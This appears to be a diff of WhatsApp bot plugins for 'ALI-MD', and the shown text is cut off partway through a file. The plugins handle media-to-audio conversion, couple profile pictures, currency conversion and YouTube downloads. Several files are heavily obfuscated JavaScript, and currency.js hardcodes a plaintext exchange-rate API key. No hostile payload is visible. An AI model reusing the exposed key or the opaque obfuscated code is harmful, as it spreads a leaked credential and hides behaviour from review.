_0x1069c9={};_0x1069c9[_0x586f49(0x369,0x333,0x34e,0x363)]=_0x23df64(0x114,0x120,0x12c,0x134)+_0x23df64(0x11b,0x137,0x100,0x10f)+_0x586f49(0x35e,0x36e,0x3a3,0x39e)+_0x23df64(0x106,0x10b,0xeb,0x10b)+'*',_0x1069c9[_0x586f49(0x36f,0x372,0x393,0x379)]='videoMessa'+'ge',_0x1069c9[_0x586f49(0x3a6,0x373,0x374,0x352)]=_0x586f49(0x39a,0x36c,0x38d,0x365)+'ge',_0x1069c9[_0x23df64(0x143,0x174,0x189,0x180)]='❌\x20Only\x20vid'+'eo/audio\x20m'+_0x23df64(0x14b,0x15b,0x18f,0x12f)+_0x23df64(0x16b,0x151,0x132,0x18b)+_0x23df64(0xe8,0x10f,0xda,0x132);function _0x23df64(_0x1bdfda,_0x3d36a1,_0x53bb58,_0x252950){return _0x3780a5(_0x53bb58,_0x3d36a1-0xa2,_0x3d36a1- -0x190,_0x252950-0x24);}_0x1069c9[_0x23df64(0x14a,0x15a,0x126,0x16a)]='⏱️\x20Media\x20to'+'o\x20long\x20(ma'+_0x586f49(0x366,0x34f,0x322,0x316)+'s)',_0x1069c9[_0x586f49(0x33e,0x33b,0x303,0x362)]=function(_0x2bd05b,_0x3fba8b){return _0x2bd05b===_0x3fba8b;},_0x1069c9[_0x586f49(0x2ff,0x319,0x30d,0x33a)]='audio/mpeg',_0x1069c9[_0x586f49(0x35d,0x351,0x325,0x37a)]=function(_0x5a5001,_0x1b33aa){return _0x5a5001===_0x1b33aa;},_0x1069c9[_0x23df64(0x149,0x168,0x16a,0x132)]=_0x23df64(0x19b,0x15f,0x196,0x14d);const _0x38e37b=_0x1069c9;if(!_0x49af37[_0x23df64(0x125,0x162,0x17f,0x130)]){const _0x4605d1={};_0x4605d1['text']=_0x38e37b[_0x586f49(0x2f6,0x333,0x33c,0x30f)];const _0x3bf976={};return _0x3bf976['quoted']=_0x20373d,await _0x412aa5[_0x23df64(0x153,0x132,0x161,0x12a)+'e'](_0x5ba8db,_0x4605d1,_0x3bf976);}if(![_0x38e37b[_0x23df64(0x149,0x16a,0x136,0x18d)],_0x38e37b[_0x586f49(0x39d,0x373,0x376,0x360)]][_0x586f49(0x334,0x345,0x32a,0x317)](_0x49af37[_0x23df64(0x198,0x162,0x17a,0x192)][_0x586f49(0x33e,0x340,0x308,0x330)])){const _0x2f2096={};_0x2f2096[_0x586f49(0x306,0x338,0x34d,0x340)]=_0x38e37b['mdiac'];const _0x486a6d={};return _0x486a6d[_0x586f49(0x352,0x36a,0x39e,0x349)]=_0x20373d,await _0x412aa5[_0x586f49(0x359,0x33a,0x341,0x33c)+'e'](_0x5ba8db,_0x2f2096,_0x486a6d);}function _0x586f49(_0x539189,_0x15a8d6,_0x39848d,_0x5257f9){return _0x49523d(_0x539189-0x6f,_0x539189,_0x39848d-0x15,_0x15a8d6-0x19d);}if(_0x49af37[_0x586f49(0x395,0x36a,0x345,0x399)][_0x586f49(0x308,0x33e,0x308,0x344)]>-0x225b+0x783+0x1c04){const _0x2abc0d={};_0x2abc0d['text']=_0x38e37b['yxIkS'];const _0x3be5a9={};return _0x3be5a9[_0x23df64(0x138,0x162,0x134,0x154)]=_0x20373d,await _0x412aa5['sendMessag'+'e'](_0x5ba8db,_0x2abc0d,_0x3be5a9);}try{const _0x1f7cbd=await _0x49af37[_0x586f49(0x38a,0x36a,0x371,0x34b)][_0x586f49(0x32d,0x356,0x375,0x337)](),_0xefebc7=_0x38e37b[_0x586f49(0x353,0x33b,0x351,0x35b)](_0x49af37[_0x23df64(0x13a,0x162,0x134,0x12a)][_0x586f49(0x334,0x340,0x342,0x32d)],_0x38e37b[_0x23df64(0x150,0x16a,0x176,0x179)])?_0x23df64(0x16d,0x157,0x135,0x12e):_0x23df64(0x148,0x16f,0x13b,0x16f),_0x523d83=await converter[_0x23df64(0x144,0x154,0x142,0x16b)](_0x1f7cbd,_0xefebc7),_0x451b03={};_0x451b03[_0x586f49(0x31b,0x350,0x31d,0x32d)]=_0x523d83,_0x451b03[_0x586f49(0x30f,0x342,0x369,0x348)]=_0x38e37b[_0x586f49(0x306,0x319,0x33e,0x354)];const _0x1f03af={};_0x1f03af[_0x586f49(0x394,0x36a,0x331,0x39c)]=_0x20373d,await _0x412aa5[_0x23df64(0x13a,0x132,0xf9,0x16c)+'e'](_0x5ba8db,_0x451b03,_0x1f03af);}catch(_0x48dabe){if(_0x38e37b[_0x23df64(0x159,0x149,0x180,0x179)](_0x38e37b[_0x586f49(0x39d,0x370,0x36f,0x346)],_0x38e37b[_0x586f49(0x350,0x370,0x370,0x3a2)])){console['error'](_0x23df64(0x145,0x108,0x129,0xcc)+_0x586f49(0x381,0x365,0x32f,0x38b),_0x48dabe[_0x23df64(0x104,0x10e,0x123,0x123)]);const _0x3317c4={};_0x3317c4[_0x23df64(0x13a,0x130,0x10c,0x15e)]=_0x23df64(0x163,0x170,0x193,0x191)+'o\x20process\x20'+_0x586f49(0x374,0x350,0x35d,0x319);const _0x2a9149={};_0x2a9149[_0x23df64(0x196,0x162,0x17d,0x159)]=_0x20373d,await _0x412aa5[_0x23df64(0xfc,0x132,0x110,0x129)+'e'](_0x5ba8db,_0x3317c4,_0x2a9149);}else{const _0x568ee0=_0x50b087?function(){function _0x21c834(_0x2c752a,_0x542182,_0x3dafc8,_0x3b2270){return _0x586f49(_0x3b2270,_0x2c752a- -0x4db,_0x3dafc8-0x180,_0x3b2270-0x14);}if(_0x6641c8){const _0x346f6e=_0x59869c[_0x21c834(-0x1b9,-0x1e5,-0x1e9,-0x1ca)](_0x50826a,arguments);return _0x1d50a2=null,_0x346f6e;}}:function(){};return _0x4ef84f=![],_0x568ee0;}}});const _0x3cb8d4={};function _0xdf28(){const _0x24af68=['react','yVXYa','fKyPo','eTRyu','{}.constru','dia\x20to\x20voi','prototype','o\x20long\x20for','2324928dIKurS','mp3','XzDAS','Conversion','PTT\x20conver','2743992YbowHT','ɪᴏ\x20ᴍᴇssᴀɢᴇ','1EdMXWL','audio/ogg;','message','rted','WLkKz','UytZm','6625260BklhNd','iiQvv','1969605qvnDpz','eo/audio\x20m','info','length','GyUNM','vQpzk','apply','alias','565HjoQcF','WlMXu','nzQYs','noATL','*🧃\x20ᴘʟᴇᴀsᴇ\x20','WgIWQ','return\x20(fu','log','pattern','bind','trace','oice\x20messa','nction()\x20','sUyPE','wawe','xukdo','nZvFv','category','uglrs','__proto__','text','RyTGL','sendMessag','PmgMp','KFXyl','dia\x20to\x20aud','seconds','ʀᴇᴘʟʏ\x20ᴛᴏ\x20ᴀ','mtype','264338wbqjyD','mimetype','ctor(\x22retu','228yCCRKx','includes','tomp3','xVHwh','❌\x20Only\x20vid','MXXID','wwAat','TkonV','table','iQzyI','ce\x20message','x\x205\x20minute','audio','mZrFb','ptt','IHgVH','rn\x20this\x22)(','videoMessa','download','32557IsnWQE','hIciC','n\x20be\x20conve','constructo','dvbmE','toAudio','30812RIJbEX','error','mp4','warn','../command','yxIkS','essages\x20ca','nverter','\x20error:','search','OuBVA','filename','xolfr','quoted','console','audioMessa','NRQVX','\x20ᴠɪᴅᴇᴏ/ᴀᴜᴅ','o\x20create\x20v','LZqgs','xLVMX','TlLIB','BzVRY','DPJTd','toString','\x20voice\x20(ma','m4a','❌\x20Failed\x20t','sion\x20error','\x20codecs=op','lnBFY','mdiac','iKMqJ','tovoice'];_0xdf28=function(){return _0x24af68;};return _0xdf28();}_0x3cb8d4[_0x3780a5(0x294,0x2ee,0x2b4,0x2c5)]=_0x49523d(0x1c2,0x1dc,0x21d,0x1e1);function _0x49523d(_0x571862,_0x53333b,_0xf2660c,_0x2b2cb5){return _0x43e4(_0x2b2cb5-0xb6,_0x53333b);}_0x3cb8d4[_0x49523d(0x180,0x16f,0x167,0x186)]=[_0x3780a5(0x290,0x28f,0x2ba,0x2ad)],_0x3cb8d4['desc']='Convert\x20me'+_0x3780a5(0x267,0x2bb,0x292,0x296)+_0x3780a5(0x300,0x2d8,0x2d6,0x2ec),_0x3cb8d4[_0x49523d(0x174,0x179,0x16a,0x198)]='audio',_0x3cb8d4[_0x3780a5(0x2fc,0x2dd,0x307,0x32b)]='🎙️',_0x3cb8d4[_0x3780a5(0x319,0x31d,0x2f0,0x300)]=__filename,cmd(_0x3cb8d4,async(_0x3e65bb,_0xdbf08a,_0x4491de,{from:_0x2317db})=>{const _0x563bad={'eTRyu':function(_0x5935d1,_0x3d10dd){return _0x5935d1(_0x3d10dd);},'WLkKz':function(_0x4049fc,_0x3f54d7){return _0x4049fc+_0x3f54d7;},'BLSPZ':_0x4abfa0(-0x208,-0x277,-0x275,-0x240)+_0x4abfa0(-0x229,-0x22e,-0x252,-0x23a),'iKMqJ':function(_0x3850d3){return _0x3850d3();},'nZvFv':_0x50c764(0x169,0x16f,0x1a1,0x15d)+'ge','xLVMX':'audioMessa'+'ge','fKyPo':function(_0x426158,_0x5612c1){return _0x426158===_0x5612c1;},'IHgVH':_0x4abfa0(-0x206,-0x1ef,-0x252,-0x220),'NuJUU':_0x4abfa0(-0x228,-0x1f4,-0x210,-0x222)+_0x50c764(0x131,0x11f,0x10d,0x11e)+'essages\x20ca'+_0x4abfa0(-0x1f2,-0x23d,-0x21b,-0x211)+_0x4abfa0(-0x238,-0x22b,-0x219,-0x253),'iiQvv':function(_0x388f22,_0x5789d8){return _0x388f22>_0x5789d8;},'vvYFr':_0x4abfa0(-0x26b,-0x23d,-0x21f,-0x244),'RyTGL':'⏱️\x20Media\x20to'+_0x4abfa0(-0x23d,-0x263,-0x269,-0x25e)+_0x50c764(0x18a,0x167,0x163,0x178)+'x\x201\x20minute'+')','DPJTd':function(_0x34b95e,_0x21edc8){return _0x34b95e===_0x21edc8;},'GyUNM':_0x4abfa0(-0x22f,-0x1f5,-0x200,-0x1f3),'XzDAS':_0x4abfa0(-0x224,-0x274,-0x223,-0x255)+_0x4abfa0(-0x1f3,-0x226,-0x1b5,-0x1f0)+'us'};function _0x50c764(_0x5dcb28,_0x886855,_0x165dde,_0x3bd2ab){return _0x3780a5(_0x886855,_0x886855-0x1e1,_0x5dcb28- -0x174,_0x3bd2ab-0x22);}function _0x4abfa0(_0x268374,_0x449589,_0x4b7552,_0x449ea8){return _0x3780a5(_0x4b7552,_0x449589-0x72,_0x449ea8- -0x4f2,_0x449ea8-0x1e0);}if(!_0xdbf08a[_0x4abfa0(-0x1d0,-0x1d3,-0x236,-0x200)]){const _0x9d0cda={};_0x9d0cda[_0x50c764(0x14c,0x165,0x17d,0x165)]='*🍉\x20ᴘʟᴇᴀsᴇ\x20'+_0x4abfa0(-0x21f,-0x21f,-0x22a,-0x22b)+_0x4abfa0(-0x1f8,-0x226,-0x226,-0x1fc)+_0x50c764(0x127,0x148,0x12e,0x113)+'*';const _0x4facfc={};return _0x4facfc[_0x50c764(0x17e,0x15b,0x149,0x191)]=_0x4491de,await _0x3e65bb['sendMessag'+'e'](_0x2317db,_0x9d0cda,_0x4facfc);}if(![_0x563bad[_0x50c764(0x148,0x119,0x185,0x17b)],_0x563bad[_0x50c764(0x185,0x1bb,0x17e,0x1bb)]][_0x4abfa0(-0x250,-0x20c,-0x1ec,-0x225)](_0xdbf08a[_0x50c764(0x17e,0x1ba,0x197,0x19b)][_0x50c764(0x154,0x18d,0x128,0x12a)])){if(_0x563bad[_0x4abfa0(-0x1e7,-0x1e4,-0x202,-0x1e9)](_0x563bad[_0x4abfa0(-0x234,-0x247,-0x22e,-0x217)],_0x563bad[_0x50c764(0x167,0x19d,0x15b,0x13d)])){const _0x414d5c={};_0x414d5c['text']=_0x563bad['NuJUU'];const _0x10778e={};return _0x10778e[_0x4abfa0(-0x1fe,-0x1c5,-0x205,-0x200)]=_0x4491de,await _0x3e65bb[_0x4abfa0(-0x201,-0x21d,-0x241,-0x230)+'e'](_0x2317db,_0x414d5c,_0x10778e);}else{const _0xa18b89=EpIevu[_0x50c764(0x196,0x185,0x178,0x192)](_0x28b594,EpIevu[_0x4abfa0(-0x25c,-0x27e,-0x271,-0x252)](EpIevu[_0x4abfa0(-0x24d,-0x26c,-0x266,-0x252)](EpIevu['BLSPZ'],_0x50c764(0x197,0x1ad,0x162,0x1c8)+_0x4abfa0(-0x24d,-0x213,-0x208,-0x227)+_0x4abfa0(-0x252,-0x20f,-0x1e1,-0x216)+'\x20)'),');'));_0x234e73=EpIevu[_0x50c764(0x191,0x1bb,0x19f,0x16e)](_0xa18b89);}}if(_0x563bad[_0x4abfa0(-0x23e,-0x232,-0x214,-0x24f)](_0xdbf08a['quoted'][_0x50c764(0x152,0x168,0x13c,0x125)],0x3*-0x167+-0x8b2+0x461*0x3)){if(_0x563bad['vvYFr']===_0x4abfa0(-0x215,-0x234,-0x25c,-0x243))_0x3ccc2b=_0x425e11;else{const _0x203687={};_0x203687['text']=_0x563bad[_0x4abfa0(-0x227,-0x208,-0x210,-0x231)];const _0x533dd9={};return _0x533dd9[_0x50c764(0x17e,0x168,0x1ba,0x189)]=_0x4491de,await _0x3e65bb[_0x50c764(0x14e,0x130,0x126,0x189)+'e'](_0x2317db,_0x203687,_0x533dd9);}}try{const _0x40cb2a=await _0xdbf08a['quoted']['download'](),_0x1d4e65=_0x563bad[_0x50c764(0x188,0x173,0x181,0x18a)](_0xdbf08a['quoted'][_0x50c764(0x154,0x11e,0x117,0x139)],_0x563bad[_0x50c764(0x148,0x11a,0x11e,0x179)])?_0x50c764(0x173,0x175,0x136,0x13d):_0x563bad[_0x50c764(0x134,0x12a,0x165,0x133)],_0x54dd0e=await converter['toPTT'](_0x40cb2a,_0x1d4e65),_0x58b0d9={};_0x58b0d9[_0x50c764(0x164,0x141,0x17b,0x140)]=_0x54dd0e,_0x58b0d9[_0x50c764(0x156,0x135,0x173,0x164)]=_0x563bad[_0x50c764(0x123,0x143,0xe7,0x153)],_0x58b0d9[_0x50c764(0x166,0x168,0x17e,0x12b)]=!![];const _0x42001d={};_0x42001d[_0x4abfa0(-0x1d0,-0x1d3,-0x223,-0x200)]=_0x4491de,await _0x3e65bb['sendMessag'+'e'](_0x2317db,_0x58b0d9,_0x42001d);}catch(_0x582ede){console[_0x4abfa0(-0x1ff,-0x225,-0x247,-0x20c)](_0x4abfa0(-0x250,-0x248,-0x27a,-0x259)+_0x50c764(0x18d,0x1b7,0x165,0x172)+':',_0x582ede[_0x4abfa0(-0x279,-0x281,-0x259,-0x254)]);const _0x29da38={};_0x29da38[_0x4abfa0(-0x23b,-0x212,-0x225,-0x232)]='❌\x20Failed\x20t'+_0x4abfa0(-0x21b,-0x1ce,-0x1f6,-0x1fb)+_0x4abfa0(-0x240,-0x268,-0x242,-0x23b)+'ge';const _0x3d9d59={};_0x3d9d59['quoted']=_0x4491de,await _0x3e65bb[_0x4abfa0(-0x24d,-0x24a,-0x1f4,-0x230)+'e'](_0x2317db,_0x29da38,_0x3d9d59);}});
|
plugins/couplepp.js
ADDED
@@ -0,0 +1,4 @@
|
|
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
|
3 |
+
|
4 |
+
const _0x34f662=_0xf072;(function(_0x3b4bc1,_0x2fcc3e){const _0x419acc=_0xf072,_0x45d36e=_0x3b4bc1();while(!![]){try{const _0x53ab43=parseInt(_0x419acc(0x1e3))/0x1+parseInt(_0x419acc(0x1d2))/0x2*(-parseInt(_0x419acc(0x1c7))/0x3)+-parseInt(_0x419acc(0x1df))/0x4+parseInt(_0x419acc(0x1c8))/0x5*(parseInt(_0x419acc(0x1de))/0x6)+parseInt(_0x419acc(0x1d9))/0x7*(parseInt(_0x419acc(0x1e4))/0x8)+parseInt(_0x419acc(0x1d5))/0x9+-parseInt(_0x419acc(0x1dd))/0xa;if(_0x53ab43===_0x2fcc3e)break;else _0x45d36e['push'](_0x45d36e['shift']());}catch(_0x4d4f52){_0x45d36e['push'](_0x45d36e['shift']());}}}(_0xfffc,0x97113));function hi(){const _0x51e952=_0xf072;console[_0x51e952(0x1c9)](_0x51e952(0x1ca));}hi();const {cmd,commands}=require(_0x34f662(0x1e1)),axios=require(_0x34f662(0x1ce));function _0xf072(_0x41d2dc,_0x5f0be1){const _0xfffcbd=_0xfffc();return _0xf072=function(_0xf072c2,_0x45f68c){_0xf072c2=_0xf072c2-0x1c7;let _0x245a8c=_0xfffcbd[_0xf072c2];return _0x245a8c;},_0xf072(_0x41d2dc,_0x5f0be1);}cmd({'pattern':_0x34f662(0x1cb),'alias':[_0x34f662(0x1d8),_0x34f662(0x1cf)],'react':'💑','desc':'Get\x20a\x20male\x20and\x20female\x20couple\x20profile\x20picture.','category':'image','use':_0x34f662(0x1db),'filename':__filename},async(_0x50edc5,_0xc5df33,_0x1b198a,{from:_0x4da616,args:_0x15071c,reply:_0x59b37a})=>{const _0x5e44d9=_0x34f662;try{_0x59b37a(_0x5e44d9(0x1d3));const _0xb820c3=await axios[_0x5e44d9(0x1cc)](_0x5e44d9(0x1dc));if(!_0xb820c3[_0x5e44d9(0x1da)]||!_0xb820c3[_0x5e44d9(0x1da)][_0x5e44d9(0x1cd)])return _0x59b37a(_0x5e44d9(0x1e2));const _0x355e74=_0xb820c3['data'][_0x5e44d9(0x1d1)],_0x4470cd=_0xb820c3['data'][_0x5e44d9(0x1e0)];_0x355e74&&await _0x50edc5['sendMessage'](_0x4da616,{'image':{'url':_0x355e74},'caption':_0x5e44d9(0x1d4)},{'quoted':_0xc5df33}),_0x4470cd&&await _0x50edc5[_0x5e44d9(0x1d6)](_0x4da616,{'image':{'url':_0x4470cd},'caption':_0x5e44d9(0x1d0)},{'quoted':_0xc5df33});}catch(_0x305b06){console['error'](_0x305b06),_0x59b37a(_0x5e44d9(0x1d7));}});function _0xfffc(){const _0x411980=['axios','cpp','👩\x20Female\x20Couple\x20Profile\x20Picture','male','321066Dejrbs','*💑\x20Fetching\x20couple\x20profile\x20pictures...*','👨\x20Male\x20Couple\x20Profile\x20Picture','556002UfVEcr','sendMessage','❌\x20An\x20error\x20occurred\x20while\x20fetching\x20the\x20couple\x20profile\x20pictures.','couple','6195iJUMlE','data','.couplepp','https://api.davidcyriltech.my.id/couplepp','22796460czZgxG','54JmUneQ','848008amZrVU','female','../command','❌\x20Failed\x20to\x20fetch\x20couple\x20profile\x20pictures.\x20Please\x20try\x20again\x20later.','1235399KamglY','11120jHdndD','3IeXCyi','413125PyiwIH','log','Hello\x20World!','couplepp','get','success'];_0xfffc=function(){return _0x411980;};return _0xfffc();}
|
plugins/currency.js
ADDED
@@ -0,0 +1,70 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const { cmd } = require("../command");
|
2 |
+
const axios = require('axios');
|
3 |
+
|
4 |
+
const BASE_URL = "https://v6.exchangerate-api.com/v6";
|
5 |
+
const API_KEY = "9c8b8532d40e5da04fac9772";
|
6 |
+
|
7 |
+
cmd({
|
8 |
+
pattern: "convertmoney",
|
9 |
+
react: "💸",
|
10 |
+
alias: ["currency", "cvmoney"],
|
11 |
+
desc: "Convert money from one currency to another currency",
|
12 |
+
category: "utility",
|
13 |
+
use: ".currency amount fromCurrency toCurrency (e.g: .convert 100 USD EUR)",
|
14 |
+
filename: __filename,
|
15 |
+
}, async (conn, mek, msg, { from, reply, args }) => {
|
16 |
+
try {
|
17 |
+
if (args.length !== 3) {
|
18 |
+
return reply("*⭕ ɪɴᴠᴀʟɪᴅ ғᴏʀᴍᴀᴛ! ᴜsᴇ: .ᴄᴜʀʀᴇɴᴄʏ ᴀᴍᴏᴜɴᴛ ғʀᴏᴍᴄᴜʀʀᴇɴᴄʏ ᴛᴏᴄᴜʀʀᴇɴᴄʏ*\n*ᴇxᴀᴍᴘʟᴇ: .ᴄᴜʀʀᴇɴᴄʏ 𝟷𝟶𝟶 ᴜsᴅ ᴘᴋʀ*");
|
19 |
+
}
|
20 |
+
|
21 |
+
const amount = parseFloat(args[0]);
|
22 |
+
const fromCurrency = args[1].toUpperCase();
|
23 |
+
const toCurrency = args[2].toUpperCase();
|
24 |
+
|
25 |
+
if (isNaN(amount)) {
|
26 |
+
return reply("*❌ ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴀ ᴠᴀʟɪᴅ ᴀᴍᴏᴜɴᴛ!*");
|
27 |
+
}
|
28 |
+
|
29 |
+
const response = await axios.get(`${BASE_URL}/${API_KEY}/latest/${fromCurrency}`);
|
30 |
+
|
31 |
+
if (response.data.result === "error") {
|
32 |
+
throw new Error(response.data["error-type"]);
|
33 |
+
}
|
34 |
+
|
35 |
+
const rates = response.data.conversion_rates;
|
36 |
+
|
37 |
+
if (!rates[toCurrency]) {
|
38 |
+
return reply("*❌ ɪɴᴠᴀʟɪᴅ ᴛᴀʀɢᴇᴛ ᴄᴜʀʀᴇɴᴄʏ ᴄᴏᴅᴇ! ᴘʟᴇᴀsᴇ ᴜsᴇ ᴠᴀʟɪᴅ ᴄᴜʀʀᴇɴᴄʏ ᴄᴏᴅᴇs ʟɪᴋᴇ ᴜsᴅ, ᴇᴜʀ, ɢʙᴘ, ᴇᴛᴄ.*");
|
39 |
+
}
|
40 |
+
|
41 |
+
const convertedAmount = (amount * rates[toCurrency]).toFixed(2);
|
42 |
+
const formattedAmount = new Intl.NumberFormat().format(amount);
|
43 |
+
const formattedResult = new Intl.NumberFormat().format(convertedAmount);
|
44 |
+
|
45 |
+
const message = `*🌍 ᴀʟɪ-ᴍᴅ- ᴄᴜʀʀᴇɴᴄʏ ᴄᴏɴᴠᴇʀsɪᴏɴ 💵*\n\n` +
|
46 |
+
`*💲 ғʀᴏᴍ:* ${formattedAmount} ${fromCurrency}\n` +
|
47 |
+
`*🏷️ ᴛᴏ:* ${formattedResult} ${toCurrency}\n` +
|
48 |
+
`*💰 ʀᴀᴛᴇ:* 1 ${fromCurrency} = ${rates[toCurrency]} ${toCurrency}\n\n` +
|
49 |
+
`*⏰ ʟᴀsᴛ ᴜᴘᴅᴀᴛᴇᴅ:* ${response.data.time_last_update_utc}`;
|
50 |
+
|
51 |
+
reply(message);
|
52 |
+
|
53 |
+
} catch (error) {
|
54 |
+
console.error("Currency conversion error:", error);
|
55 |
+
|
56 |
+
if (error.message === "unsupported-code") {
|
57 |
+
reply("❌ Invalid currency code! Please use valid currency codes like USD, EUR, GBP, etc.");
|
58 |
+
} else if (error.message === "malformed-request") {
|
59 |
+
reply("❌ Invalid API request format. Please try again.");
|
60 |
+
} else if (error.message === "invalid-key") {
|
61 |
+
reply("❌ API key validation failed. Please contact the administrator.");
|
62 |
+
} else if (error.message === "inactive-account") {
|
63 |
+
reply("❌ API account is not active. Please contact the administrator.");
|
64 |
+
} else if (error.message === "quota-reached") {
|
65 |
+
reply("❌ API quota has been reached. Please try again later.");
|
66 |
+
} else {
|
67 |
+
reply("❌ Failed to convert currency. Please try again later.");
|
68 |
+
}
|
69 |
+
}
|
70 |
+
});
|
plugins/darama+music.js
ADDED
@@ -0,0 +1,106 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const {cmd , commands} = require('../command')
|
2 |
+
const fg = require('api-dylux')
|
3 |
+
const yts = require('yt-search')
|
4 |
+
cmd({
|
5 |
+
pattern: "play3",
|
6 |
+
desc: "To download songs.",
|
7 |
+
react: "🎵",
|
8 |
+
category: "download",
|
9 |
+
filename: __filename
|
10 |
+
},
|
11 |
+
async(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => {
|
12 |
+
try{
|
13 |
+
if(!q) return reply("Please give me a url or title")
|
14 |
+
const search = await yts(q)
|
15 |
+
const data = search.videos[0];
|
16 |
+
const url = data.url
|
17 |
+
|
18 |
+
|
19 |
+
let desc = `
|
20 |
+
*⫷⦁ALI-MD-V1 MUSⵊC DOWNLOADⵊNG⦁⫸*
|
21 |
+
|
22 |
+
🎵 *MUSⵊC FOUND!*
|
23 |
+
|
24 |
+
➥ *Title:* ${data.title}
|
25 |
+
➥ *Duration:* ${data.timestamp}
|
26 |
+
➥ *Views:* ${data.views}
|
27 |
+
➥ *Uploaded On:* ${data.ago}
|
28 |
+
➥ *Link:* ${data.url}
|
29 |
+
|
30 |
+
🎧 *ENJOY THE MUSIC BROUGHT TO YOU!*
|
31 |
+
|
32 |
+
> *ALI-MD-V1 WHATSAPP BOT*
|
33 |
+
|
34 |
+
> *© ᴄʀᴇᴀᴛᴇᴅ ʙʏ ᴀʟɪ-ᴍᴅ*
|
35 |
+
`
|
36 |
+
|
37 |
+
await conn.sendMessage(from,{image:{url: data.thumbnail},caption:desc},{quoted:mek});
|
38 |
+
|
39 |
+
//download audio
|
40 |
+
|
41 |
+
let down = await fg.yta(url)
|
42 |
+
let downloadUrl = down.dl_url
|
43 |
+
|
44 |
+
//send audio message
|
45 |
+
await conn.sendMessage(from,{audio: {url:downloadUrl},mimetype:"audio/mpeg"},{quoted:mek})
|
46 |
+
await conn.sendMessage(from,{document: {url:downloadUrl},mimetype:"audio/mpeg",fileName:data.title + ".mp3",caption:"*© ᴄʀᴇᴀᴛᴇᴅ ʙʏ ᴀʟɪ-ᴍᴅ*"},{quoted:mek})
|
47 |
+
|
48 |
+
}catch(e){
|
49 |
+
console.log(e)
|
50 |
+
reply(`_Hi ${pushname} retry later_`)
|
51 |
+
}
|
52 |
+
})
|
53 |
+
|
54 |
+
//====================video_dl=======================
|
55 |
+
|
56 |
+
cmd({
|
57 |
+
pattern: "darama",
|
58 |
+
alias: ["video3"],
|
59 |
+
desc: "To download videos.",
|
60 |
+
react: "🎥",
|
61 |
+
category: "download",
|
62 |
+
filename: __filename
|
63 |
+
},
|
64 |
+
async(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => {
|
65 |
+
try{
|
66 |
+
if(!q) return reply("Please give me a url or title")
|
67 |
+
const search = await yts(q)
|
68 |
+
const data = search.videos[0];
|
69 |
+
const url = data.url
|
70 |
+
|
71 |
+
|
72 |
+
let desc = `
|
73 |
+
*⫷⦁ALI-MD-V1 VⵊDEO DOWNLOADⵊNG⦁⫸*
|
74 |
+
|
75 |
+
🎥 *VⵊDEO FOUND!*
|
76 |
+
|
77 |
+
➥ *Title:* ${data.title}
|
78 |
+
➥ *Duration:* ${data.timestamp}
|
79 |
+
➥ *Views:* ${data.views}
|
80 |
+
➥ *Uploaded On:* ${data.ago}
|
81 |
+
➥ *Link:* ${data.url}
|
82 |
+
|
83 |
+
🎬 *ENJOY THE VIDEO BROUGHT TO YOU!*
|
84 |
+
|
85 |
+
> *ALI-MD-V1 WHATSAPP BOT*
|
86 |
+
|
87 |
+
> *© ᴄʀᴇᴀᴛᴇᴅ ʙʏ ᴀʟɪ-ᴍᴅ*
|
88 |
+
`
|
89 |
+
|
90 |
+
await conn.sendMessage(from,{image:{url: data.thumbnail},caption:desc},{quoted:mek});
|
91 |
+
|
92 |
+
//download video
|
93 |
+
|
94 |
+
let down = await fg.ytv(url)
|
95 |
+
let downloadUrl = down.dl_url
|
96 |
+
|
97 |
+
//send video message
|
98 |
+
await conn.sendMessage(from,{video: {url:downloadUrl},mimetype:"video/mp4"},{quoted:mek})
|
99 |
+
await conn.sendMessage(from,{document: {url:downloadUrl},mimetype:"video/mp4",fileName:data.title + ".mp4",caption:"*© ᴄʀᴇᴀᴛᴇᴅ ʙʏ ᴀʟɪ-ᴍᴅ*"},{quoted:mek})
|
100 |
+
|
101 |
+
}catch(e){
|
102 |
+
console.log(e)
|
103 |
+
reply(`_Hi ${pushname} retry later_`)
|
104 |
+
}
|
105 |
+
})
|
106 |
+
//
|
plugins/define.js
ADDED
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
|
3 |
+
|
4 |
+
const axios = require('axios');
|
5 |
+
const {cmd , commands} = require('../command');
|
6 |
+
|
7 |
+
cmd({
|
8 |
+
pattern: "define",
|
9 |
+
